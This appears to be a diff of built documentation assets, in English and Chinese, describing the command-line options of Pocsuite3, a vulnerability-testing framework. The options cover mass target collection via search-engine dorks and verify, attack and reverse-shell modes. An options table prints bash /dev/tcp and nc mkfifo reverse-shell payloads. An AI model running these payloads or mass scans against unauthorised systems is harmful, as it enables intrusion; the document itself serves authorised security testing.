+[16:55:32] [INFO] [PLUGIN] got 255 target(s) from Censys
+[16:55:32] [INFO] pocsusite got a total of 255 tasks
+[16:55:32] [INFO] starting 150 threads
+...
+

WARNING

  1. The data retrieved by some search engines has no protocol fields, or the fields are inaccurate.
  2. Different search engines have different dork syntax, make sure to provide the correct dork.
  3. If dork has special characters that are inconvenient to input in the terminal, you can provide it in base64 format and add the --dork-b64 parameter.
  4. You can use --search-type web/host to define whether to search for a website or a host. Some search engines do not distinguish between them.

PoC Script Loading

-r

Specify one or more PoC filepaths (or directories), if a directory is provided, the framework will traverse the directory and load all eligible PoCs. Separate multiple filepaths or directories with .

# Load a single PoC file
+pocsuite -r ecshop_rce.py
+
+# Load multiple PoC files
+pocsuite -r pocsuite3/pocs/ecshop_rce.py pocsuite3/pocs/thinkphp_rce.py pocsuite3/pocs/wd_nas_login_bypass_rce.py
+
+# load from directory
+pocsuite -r pocsuite3/pocs
+
+# load nuclei template
+pocsuite -r ./nuclei-templates/cves/2020/CVE-2020-14883.yaml
+

-k

Specify keywords (support regular expression) to filter PoC, such as component name, CVE number, etc. If we have identified the target components, we can use the -k option to find all the corresponding PoCs for batch testing of the target. If only the -k option is provided, -r defaults to the pocsuite3/pocs directory that comes with Pocsuite3.

pocsuite -r ./pocsuite3/pocs -k thinkphp
+...
+[17:11:05] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce.py'
+[17:11:06] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce2.py'
+...
+

--vul-keyword / --ssv-id / --seebug-token

Loading the PoC of the specified component through the Seebug API.

The first time you use it, you will be prompted to enter Seebug API key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --seebug-token parameter.

# Load by keyword
+pocsuite --vul-keyword redis
+
+# Load by bug number (ssvid)
+pocsuite --ssv-id 89715
+
+

Running Control

--threads

Thread pool size, default is Min(150, "total target").

--pcap

Using the --pcap parameter when running a PoC, you can save the traffic as a pcap file.

Open the file with wireshark for traffic analysis.

--verify

Verify mode, execute the _verify() method of the PoC script to verify the vulnerability.

--attack

Attack mode, execute the _attack() method of the PoC script. The exact behavior depends on the implementation of the method.

--shell / --lhost / --lport / --tls

Shell mode, execute the _shell() method of the PoC script, and the console will enter the shell interactive mode to execute commands and obtain output.

Pocsuite3 will listenning the 6666 port of the local machine by default in shell mode (can be modified by --lhost, --lport), write the corresponding code, and let the target perform a reverse connection to get a shell.

If you want to enable a TLS listener (such as openssl reverse shell), use the --tls parameter.

TIP

In the PoC script, the implementation of attack mode and shell mode is optional. If the running mode is not specified, the default is verify.

Network Control

--proxy / --proxy-cred

Global HTTP/HTTPS/SOCKS proxy, the supported protocol types are: http, https, socks4, socks5, socks5h.

pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150
+

If the proxy requires authentication, it can be provided with the parameter --proxy-cred name:password.

--timeout

Global timeout setting, default is 10s. It should be noted that if a request itself sets a timeout, the request itself will prevail and will not be overwritten.

--user-agent

User-Agent setting for HTTP requests, default is random.

-http-debug

HTTP Debug information\uFF0Cdefault level is 0, level range 0-5.

--session-reuse

Enable requests session reuse

--session-reuse-num

Requests session reuse number

Other network request control options are: --cookie, --host, --referer, --retry, --delay, --headers.

OOB Service

--ceye-token

Detecting out-of-band interactions through CEeye API.

The first time you use it, you will be prompted to enter CEye API key. It will be saved to the $HOME/.pocsuiterc file. unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --ceye-token parameter.

--oob-server / --oob-token

Detecting out-of-band interactions through Interactsh API.

Interactsh is an open-source tool for detecting out-of-band interactions. It developed by projectdiscovery, a well-known open source software organization.

Pocsuite3 has integrated interactsh since version 1.8.8, giving users more choices.

A custom Interactsh server address can be specified through --oob-server, the default is interact.sh. If authentication is required, it can be provided through the parameter --oob-token.

Docker Environment

Docker vulnerability environment construction was introduced in v2.0.6. The specific implementation method is: add the dockerfile field in the PoC

class DemoPOC(POCBase):
+    vulID = ''  # ssvid
+    version = '1.0'
+    author = ['']
+    vulDate = '2029-5-8'
+    createDate = '2019-5-8'
+    updateDate = '2019-5-8'
+    references = ['']
+    name = 'Struts2 045 RCE CVE-2017'
+    appPowerLink = ''
+    appName = 'struts2'
+    appVersion = ''
+    vulType = ''
+    desc = '''S2-045:\u5F71\u54CD\u7248\u672CStruts 2.3.20-2.3.28(\u9664\u4E862.3.20.3\u548C2.3.24.3)'''
+    samples = []
+    category = POC_CATEGORY.EXPLOITS.WEBAPP
+    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+

--docker-start

Run Docker for PoC

--docker-port

Publish a container's port(s) to the host,format: --docker-port 8080:8080

--docker-volume

Bind mount a volume, format: --docker-volume /host/file:/container/file

--docker-env

Set environment variables,format: --docker-env NAME=VALUE

--docker-only

Only run docker environment

Web Hook

Use DingTalk and WeCom to notify when the scan is completed

--dingtalk-token

DingTalk token

--dingtalk-secret

DingTalk secret

--wx-work-key

WeCom Web hook key

Custom Parameters

--options

Some PoC scripts need to fill in login information, or execute user-specified commands. Parameters can be customized in PoC, see: PoC With Customizable Parameters

Use the --options parameter to view the custom parameters defined by the PoC:

pocsuite -k ecshop --options
+
+[17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
+
+Module (pocs_ecshop_rce) options:
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|     Name    |             Current settings             |  Type  |                               Description                                |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|   command   |                  whoami                  | String |                             \u653B\u51FB\u65F6\u81EA\u5B9A\u4E49\u547D\u4EE4                             |
+| app_version |                   Auto                   | Select |                           \u76EE\u6807\u7248\u672C\uFF0C\u53EF\u81EA\u52A8\u5339\u914D                           |
+|   payload   | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |  Dict  | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
+|             |                                          |        |              bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'               |
+|             |                                          |        |                                                                          |
+|             |                                          |        |          You can select dict_keys(['nc', 'bash']) ,default:bash          |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+
+[*] shutting down at 17:27:24
+

Results Summary

-v / --ppt

Console log, -v parameter controls the log level, --ppt parameter can hide ip address, which is convenient for screen recording.

pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
+...
+[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
+[17:47:51] [INFO] pocsusite got a total of 1 tasks
+[17:47:51] [DEBUG] pocsuite will open 1 threads
+[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
+[17:47:54] [INFO] Scan completed,ready to print
+
++------------+--------------------------------------+--------+-----------+---------+--------+
+| target-url |               poc-name               | poc-id | component | version | status |
++------------+--------------------------------------+--------+-----------+---------+--------+
+| *.*.0.1    | Ecshop 2.x/3.x Remote Code Execution | 97343  |   ECSHOP  | 2.x,3.x | failed |
++------------+--------------------------------------+--------+-----------+---------+--------+
+success : 0 / 1
+...
+
+

-o / --output

Save the result as a file in JSON Lines format.

Other

--update

Check upstream for the latest version.

\u279C pocsuite --update
+
+,------. ,--. ,--. ,----. {1.9.6-706acc1}
+| .--. ',---. ,---.,---.,--.,--\`--,-' '-.,---.'.-. |
+| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
+| | --'' '-' \\ \`--.-' \`' '' | | | | \\ --/'-' |
+\`--' \`---' \`---\`----' \`----'\`--' \`--' \`----\`----' https://pocsuite. org
+[*] starting at 20:18:19
+
+[20:18:19] [INFO] Checking the latest version number of pocsuite3 on pypi
+[20:18:19] [INFO] Current upstream version: 1.9.6
+...
+

--version

Print the currently installed version of Pocsuite3.

-n / --new

Generate a PoC template, please refer to: PoC Writing Example

-c

Provide all parameters through the configuration file, see for details : pocsuite.ini Configuration

--plugins

Load and execute custom plugins, see for details: Plugin writing

--rule / --rule-req / --rule-filename

Export suricata rules in PoC scripts (requires suricata_request, suricata_respons defined in PoC).

--no-check

Disable URL protocol correction and honeypot check.

`,145),r=[t];function c(D,i,d,y,C,A){return o(),n("div",null,r)}var f=e(l,[["render",c]]);export{u as __pageData,f as default}; diff --git a/assets/en_guide_parameter-pocsuite.md.f01bc777.lean.js b/assets/en_guide_parameter-pocsuite.md.f01bc777.lean.js new file mode 100644 index 00000000..08a18933 --- /dev/null +++ b/assets/en_guide_parameter-pocsuite.md.f01bc777.lean.js @@ -0,0 +1 @@ +import{_ as s,a}from"./chunks/parameter-pcap-traffic.32a66c33.js";import{_ as e,j as n,g as o,H as p}from"./chunks/framework.8815fd6f.js";const u=JSON.parse('{"title":"CLI Mode Parameters","description":"","frontmatter":{},"headers":[{"level":2,"title":"Target Loading","slug":"target-loading"},{"level":2,"title":"PoC Script Loading","slug":"poc-script-loading"},{"level":2,"title":"Running Control","slug":"running-control"},{"level":2,"title":"Network Control","slug":"network-control"},{"level":2,"title":"OOB Service","slug":"oob-service"},{"level":2,"title":"Docker Environment","slug":"docker-environment"},{"level":2,"title":"Web Hook","slug":"web-hook"},{"level":2,"title":"Custom Parameters","slug":"custom-parameters"},{"level":2,"title":"Results Summary","slug":"results-summary"},{"level":2,"title":"Other","slug":"other"}],"relativePath":"en/guide/parameter-pocsuite.md","lastUpdated":1679524720000}'),l={name:"en/guide/parameter-pocsuite.md"},t=p("",145),r=[t];function c(D,i,d,y,C,A){return o(),n("div",null,r)}var f=e(l,[["render",c]]);export{u as __pageData,f as default}; diff --git a/assets/guide_parameter-pocsuite.md.ad7d3ac0.js b/assets/guide_parameter-pocsuite.md.ad7d3ac0.js new file mode 100644 index 00000000..f1435eea --- /dev/null +++ b/assets/guide_parameter-pocsuite.md.ad7d3ac0.js @@ -0,0 +1,157 @@ +import{_ as s,a}from"./chunks/parameter-pcap-traffic.32a66c33.js";import{_ as n,j as o,g as p,H as e}from"./chunks/framework.8815fd6f.js";const u=JSON.parse('{"title":"pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E","description":"","frontmatter":{},"headers":[{"level":2,"title":"\u76EE\u6807\u52A0\u8F7D","slug":"\u76EE\u6807\u52A0\u8F7D"},{"level":2,"title":"PoC \u811A\u672C\u52A0\u8F7D","slug":"poc-\u811A\u672C\u52A0\u8F7D"},{"level":2,"title":"\u8FD0\u884C\u63A7\u5236","slug":"\u8FD0\u884C\u63A7\u5236"},{"level":2,"title":"\u7F51\u7EDC\u63A7\u5236","slug":"\u7F51\u7EDC\u63A7\u5236"},{"level":2,"title":"DNSLog \u670D\u52A1","slug":"dnslog-\u670D\u52A1"},{"level":2,"title":"Docker \u63A7\u5236","slug":"docker-\u63A7\u5236"},{"level":2,"title":"Web Hook","slug":"web-hook"},{"level":2,"title":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570","slug":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570"},{"level":2,"title":"\u7ED3\u679C\u6C47\u603B","slug":"\u7ED3\u679C\u6C47\u603B"},{"level":2,"title":"\u5176\u4ED6","slug":"\u5176\u4ED6"}],"relativePath":"guide/parameter-pocsuite.md","lastUpdated":1679524720000}'),l={name:"guide/parameter-pocsuite.md"},c=e(`

pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E

\u4E5F\u53EF\u53C2\u8003\u300A\u67B6\u6784\u7B80\u6790\u300B\uFF0C\u5176\u4E2D\u5BF9\u5927\u90E8\u5206\u91CD\u8981\u53C2\u6570\u505A\u4E86\u6807\u6CE8\u3002

\u76EE\u6807\u52A0\u8F7D

-u / --url

\u52A0\u8F7D\u5355\u4E2A URL \u6216 CIDR\uFF0C\u652F\u6301 IPv4 / IPv6\u3002

pocsuite -r poc.py -u https://example.com
+pocsuite -r poc.py -u fd12:3456:789a:1::/120
+pocsuite -r poc.py -u 172.16.218.1/24
+pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"
+

-f / --file

\u4ECE\u6587\u4EF6\u4E2D\u52A0\u8F7D\u591A\u4E2A URL \u6216 CIDR\uFF0C\u6BCF\u884C\u4E00\u4E2A\u3002\u5982\u679C\u9047\u5230\u4EE5 # \u5F00\u5934\u7684\u884C\uFF0C\u4F1A\u8DF3\u8FC7\u8BE5\u884C\u3002

# this is url.txt
+172.16.218.1/24
+https://example.com
+# localhost
+
pocsuite -r poc.py -f url.txt
+

-p / --ports

\u4E3A URL \u6216 CIDR \u6DFB\u52A0\u989D\u5916\u7AEF\u53E3\uFF0C\u683C\u5F0F\uFF1A[\u534F\u8BAE:]\u7AEF\u53E3, \u534F\u8BAE\u662F\u53EF\u9009\u7684\uFF0C\u591A\u4E2A\u7AEF\u53E3\u95F4\u4EE5 , \u5206\u9694\u3002

\u4F8B\u5982\uFF1Apocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 \u4F1A\u52A0\u8F7D\u4EE5\u4E0B\u76EE\u6807\u3002

172.16.218.0
+172.16.218.0:8080
+https://172.16.218.0:8443
+172.16.218.1
+172.16.218.1:8080
+https://172.16.218.1:8443
+

-s

\u4F7F\u7528-s \u53C2\u6570\u53EF\u4EE5\u4E0D\u52A0\u8F7D target \u672C\u8EAB\u7684\u7AEF\u53E3\uFF0C\u53EA\u4F7F\u7528 -p \u63D0\u4F9B\u7684\u7AEF\u53E3\u3002

\u4F8B\u5982\uFF1Apocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 -s \u4F1A\u52A0\u8F7D\u4EE5\u4E0B\u76EE\u6807\u3002

172.16.218.0:8080
+https://172.16.218.0:8443
+172.16.218.1:8080
+https://172.16.218.1:8443
+

--dork / --dork-zoomeye / --zoomeye-token

\u901A\u8FC7 ZoomEye API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 ZoomEye API Key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --zoomeye-token \u53C2\u6570\u63D0\u4F9B\u3002

\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 20\uFF0C\u53EF\u4F7F\u7528 --max-page \u63A7\u5236\u68C0\u7D22\u7684\u9875\u6570\uFF08\u4E0B\u540C\uFF09\u3002

pocsuite -r poc.py --dork 'app:"Apache httpd"'
+
+...
+ZoomEye API token: (input will hidden)
+[16:13:14] [INFO] [PLUGIN] ZoomEeye search limit 1000
+[16:13:14] [INFO] [PLUGIN] try fetch targets from zoomeye with dork: app:"Apache httpd"
+[16:13:18] [INFO] [PLUGIN] got 20 target(s) from zoomeye
+[16:13:18] [INFO] pocsusite got a total of 20 tasks
+[16:13:18] [INFO] starting 20 threads
+...
+

--dork-shodan / --shodan-token

\u901A\u8FC7 Shodan API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Shodan API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --shodan-token \u53C2\u6570\u63D0\u4F9B\u3002\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 100\u3002

pocsuite -r poc.py --dork-shodan '"<title>Vigor 300B</title>"'
+
+...
+[16:26:52] [INFO] {"member": true, "credits": 8, "display_name": null, "created": "***"}
+[16:26:52] [INFO] [PLUGIN] shodan credits limit 8
+[16:26:52] [INFO] [PLUGIN] try fetch targets from shodan with dork: "<title>Vigor 300B</title>"
+[16:26:57] [INFO] [PLUGIN] got 100 target(s) from shodan
+[16:26:57] [INFO] pocsusite got a total of 100 tasks
+[16:26:57] [INFO] starting 100 threads
+...
+

--dork-fofa / --fofa-user / --fofa-token

\u901A\u8FC7 Fofa API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Fofa user email \u548C Fofa API Key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --fofa-user \u548C --fofa-token \u53C2\u6570\u63D0\u4F9B\u3002\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 100\u3002

pocsuite -r poc.py --dork-fofa 'thinkphp'
+
+...
+[16:33:23] [INFO] {"error":false,"email":"***","username":"***","fcoin":48,"isvip":true,"vip_level":2,"is_verified":false,"avatar":"https://nosec.org/missing.jpg","message":"","fofacli_ver":"4.0.3","fofa_server":true}
+[16:33:23] [INFO] [PLUGIN] try fetch targets from Fofa with dork: thinkphp
+[16:33:25] [INFO] [PLUGIN] got 88 target(s) from Fofa
+[16:33:25] [INFO] pocsusite got a total of 88 tasks
+[16:33:25] [INFO] starting 88 threads
+

--dork-quake / --quake-token

\u901A\u8FC7 Quake API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Quake API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --quake-token \u53C2\u6570\u63D0\u4F9B\u3002\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 10\u3002

pocsuite -r poc.py --dork-quake 'app:"F5_BIG-IP"'
+...
+[16:40:43] [INFO] [PLUGIN] try fetch targets from Quake with dork: app:"F5_BIG-IP"
+[16:40:49] [INFO] [PLUGIN] got 10 target(s) from Quake
+[16:40:49] [INFO] pocsusite got a total of 10 tasks
+[16:40:49] [INFO] starting 10 threads
+...
+

--dork-hunter / --hunter-token

\u901A\u8FC7 Hunter API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Hunter API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --hunter-token \u53C2\u6570\u63D0\u4F9B\u3002\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 20\u3002

pocsuite -r poc.py --dork-hunter 'web.title="Vigor 2960"'
+...
+[16:48:09] [INFO] [PLUGIN] Hunter credits limit \u4ECA\u65E5\u5269\u4F59\u79EF\u5206\uFF1A499
+[16:48:09] [INFO] [PLUGIN] try fetch targets from Hunter with dork: web.title="Vigor 2960"
+[16:48:29] [INFO] [PLUGIN] got 20 target(s) from Hunter
+[16:48:29] [INFO] pocsusite got a total of 20 tasks
+[16:48:29] [INFO] starting 20 threads
+...
+

--dork-censys / --censys-uid / --censys-secret

\u901A\u8FC7 Censys API \u6279\u91CF\u83B7\u53D6\u6D4B\u8BD5\u76EE\u6807\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Censys API ID \u548C Censys API SECRET\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --censys-uid \u548C --censys-secret \u53C2\u6570\u63D0\u4F9B\u3002\u5355\u9875\u68C0\u7D22\u6570\u91CF\u4E3A 50\u3002

pocsuite -r poc.py --dork-censys 'thinkphp'
+...
+[16:55:29] [INFO] [PLUGIN] Censys login success, email: ***
+[16:55:29] [INFO] [PLUGIN] Censys credits limit 248
+[16:55:29] [INFO] [PLUGIN] try fetch targets from censys with dork: thinkphp
+[16:55:32] [INFO] [PLUGIN] got 255 target(s) from Censys
+[16:55:32] [INFO] pocsusite got a total of 255 tasks
+[16:55:32] [INFO] starting 150 threads
+...
+

WARNING

  1. \u90E8\u5206\u641C\u7D22\u5F15\u64CE\u68C0\u7D22\u7684\u6570\u636E\u65E0\u534F\u8BAE\u5B57\u6BB5\uFF0C\u6216\u662F\u5B57\u6BB5\u4E0D\u51C6\u786E\u3002
  2. \u4E0D\u540C\u641C\u7D22\u5F15\u64CE\u7684 dork \u8BED\u6CD5\u4E0D\u4E00\u6837\uFF0C\u786E\u4FDD\u63D0\u4F9B\u6B63\u786E\u7684 dork\u3002
  3. \u5982\u679C dork \u6709\u7279\u6B8A\u5B57\u7B26\uFF0C\u4E0D\u65B9\u4FBF\u5728\u7EC8\u7AEF\u8F93\u5165\uFF0C\u53EF\u4EE5 base64 \u683C\u5F0F\u63D0\u4F9B\uFF0C\u5E76\u6DFB\u52A0 --dork-b64 \u53C2\u6570\u3002
  4. \u53EF\u901A\u8FC7 --search-type web/host \u9650\u5B9A\u641C\u7D22\u7F51\u7AD9\u8FD8\u662F\u4E3B\u673A\uFF0C\u90E8\u5206\u641C\u7D22\u5F15\u64CE\u6CA1\u6709\u5BF9\u4E8C\u8005\u8FDB\u884C\u533A\u5206\u3002

PoC \u811A\u672C\u52A0\u8F7D

-r

\u6307\u5B9A\u4E00\u4E2A\u6216\u591A\u4E2A PoC \u8DEF\u5F84\uFF08\u6216\u76EE\u5F55\uFF09\uFF0C\u5982\u679C\u63D0\u4F9B\u7684\u662F\u76EE\u5F55\uFF0C\u6846\u67B6\u5C06\u904D\u5386\u76EE\u5F55\u7136\u540E\u52A0\u8F7D\u6240\u6709\u7B26\u5408\u6761\u4EF6\u7684 PoC\u3002\u591A\u4E2A\u8DEF\u5F84\u6216\u76EE\u5F55\u4E4B\u95F4\u7528\u7A7A\u683C\u5206\u9694\u3002

# \u52A0\u8F7D\u5355\u4E2A PoC \u6587\u4EF6
+pocsuite -r ecshop_rce.py
+
+# \u52A0\u8F7D\u591A\u4E2A PoC \u6587\u4EF6
+pocsuite -r pocsuite3/pocs/ecshop_rce.py pocsuite3/pocs/thinkphp_rce.py pocsuite3/pocs/wd_nas_login_bypass_rce.py
+
+# \u4ECE\u76EE\u5F55\u52A0\u8F7D
+pocsuite -r pocsuite3/pocs
+
+# \u52A0\u8F7D nuclei template
+pocsuite -r ./nuclei-templates/cves/2020/CVE-2020-14883.yaml
+

-k

\u6307\u5B9A\u5173\u952E\u8BCD\uFF08\u652F\u6301\u6B63\u5219\uFF09\u5BF9 PoC \u8FDB\u884C\u7B5B\u9009\uFF0C\u5982\u7EC4\u4EF6\u540D\u79F0\u3001CVE \u7F16\u53F7\u7B49\u3002\u5982\u679C\u6211\u4EEC\u786E\u8BA4\u4E86\u76EE\u6807\u7EC4\u4EF6\uFF0C\u5C31\u53EF\u4EE5\u7528 -k \u9009\u9879\u627E\u5230\u6240\u4EE5\u5BF9\u5E94\u7684 PoC \u5BF9\u76EE\u6807\u8FDB\u884C\u6279\u91CF\u6D4B\u8BD5\u3002\u5982\u679C\u53EA\u63D0\u4F9B\u4E86 -k \u9009\u9879\uFF0C-r \u9ED8\u8BA4\u4E3A Pocsuite3 \u81EA\u5E26\u7684 pocsuite3/pocs \u76EE\u5F55\u3002

pocsuite -r ./pocsuite3/pocs -k thinkphp
+...
+[17:11:05] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce.py'
+[17:11:06] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce2.py'
+...
+

--vul-keyword / --ssv-id / --seebug-token

\u901A\u8FC7 Seebug API \u8BFB\u53D6\u6307\u5B9A\u7EC4\u4EF6\u6216\u8005\u7C7B\u578B\u7684\u6F0F\u6D1E\u7684 PoC\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 Seebug API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --seebug-token \u53C2\u6570\u63D0\u4F9B\u3002

# \u901A\u8FC7\u5173\u952E\u8BCD\u52A0\u8F7D
+pocsuite --vul-keyword redis
+
+# \u901A\u8FC7\u6F0F\u6D1E\u7F16\u53F7\u52A0\u8F7D
+pocsuite --ssv-id 89715
+
+

\u8FD0\u884C\u63A7\u5236

--threads

\u7EBF\u7A0B\u6C60\u5927\u5C0F\u63A7\u5236\uFF0C\u9ED8\u8BA4\u4E3A Min(150, \u76EE\u6807\u603B\u6570)\u3002

--pcap

\u5728\u8FD0\u884C PoC \u65F6\u4F7F\u7528 --pcap \u53C2\u6570\uFF0C\u53EF\u4EE5\u5C06\u901A\u4FE1\u6D41\u91CF\u4FDD\u5B58\u4E3A pcap \u6587\u4EF6\u3002

\u901A\u8FC7 wireshark \u6253\u5F00\u8BE5\u6587\u4EF6\u8FDB\u884C\u6D41\u91CF\u5206\u6790\u3002

--verify

\u9A8C\u8BC1\u6A21\u5F0F\uFF0C\u6267\u884C PoC \u811A\u672C\u7684 _verify() \u65B9\u6CD5\uFF0C \u8FDB\u884C\u6F0F\u6D1E\u9A8C\u8BC1\u3002

--attack

\u653B\u51FB\u6A21\u5F0F\uFF0C\u6267\u884C PoC \u811A\u672C\u7684 _attack() \u65B9\u6CD5\uFF0C\u5177\u4F53\u8868\u73B0\u53D6\u51B3\u4E8E\u65B9\u6CD5\u7684\u5B9E\u73B0\u3002

--shell / --lhost / --lport / --tls

shell \u6A21\u5F0F\uFF0C\u6267\u884C PoC \u811A\u672C\u7684 _shell() \u65B9\u6CD5\uFF0C\u63A7\u5236\u53F0\u4F1A\u8FDB\u5165 shell \u4EA4\u4E92\u6A21\u5F0F\u6267\u884C\u547D\u4EE4\u53CA\u83B7\u53D6\u8F93\u51FA\u3002

Pocsuite3 \u5728 shell \u6A21\u5F0F\u4F1A\u9ED8\u8BA4\u76D1\u542C\u672C\u673A\u7684 6666 \u7AEF\uFF08\u53EF\u901A\u8FC7 --lhost\u3001--lport \u4FEE\u6539\uFF09\uFF0C\u7F16\u5199\u5BF9\u5E94\u7684\u653B\u51FB\u4EE3\u7801\uFF0C\u8BA9\u76EE\u6807\u6267\u884C\u53CD\u5411\u8FDE\u63A5\u8FD0\u884C Pocsuite3 \u7CFB\u7EDF IP \u7684 6666 \u7AEF\u53E3\u5373\u53EF\u5F97\u5230\u4E00\u4E2A shell\u3002

\u5982\u679C\u8981\u542F\u7528 TLS \u76D1\u542C\u5668\uFF08\u5982 openssl \u7684\u53CD\u8FDE shell\uFF09\uFF0C\u53EF\u4F7F\u7528 --tls \u53C2\u6570\u3002

TIP

\u5728 PoC \u811A\u672C\u4E2D\uFF0Cattack \u6A21\u5F0F\u548C shell \u6A21\u5F0F\u7684\u5B9E\u73B0\u662F\u53EF\u9009\u7684\uFF0C \u5982\u679C\u4E0D\u6307\u5B9A\u8FD0\u884C\u6A21\u5F0F\uFF0C\u9ED8\u8BA4\u662F verify\u3002

\u7F51\u7EDC\u63A7\u5236

--proxy / --proxy-cred

\u5168\u5C40 HTTP/HTTPS/SOCKS \u4EE3\u7406\uFF0C\u652F\u6301\u7684\u534F\u8BAE\u7C7B\u578B\u6709\uFF1Ahttp\u3001https\u3001socks4\u3001socks5\u3001socks5h\u3002

pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150
+

\u5982\u679C\u4EE3\u7406\u9700\u8981\u8BA4\u8BC1\uFF0C\u53EF\u4F7F\u7528\u53C2\u6570 --proxy-cred name:password \u63D0\u4F9B\u3002

--timeout

\u5168\u5C40\u8D85\u65F6\u8BBE\u7F6E\uFF0C\u9ED8\u8BA4\u4E3A 10s\u3002\u9700\u8981\u6CE8\u610F\u7684\u662F\uFF0C\u5982\u679C\u67D0\u8BF7\u6C42\u672C\u8EAB\u8BBE\u7F6E\u4E86\u8D85\u65F6\uFF0C\u5219\u4F1A\u4EE5\u8BF7\u6C42\u672C\u8EAB\u7684\u4E3A\u51C6\uFF0C\u4E0D\u4F1A\u8986\u76D6\u3002

--user-agent

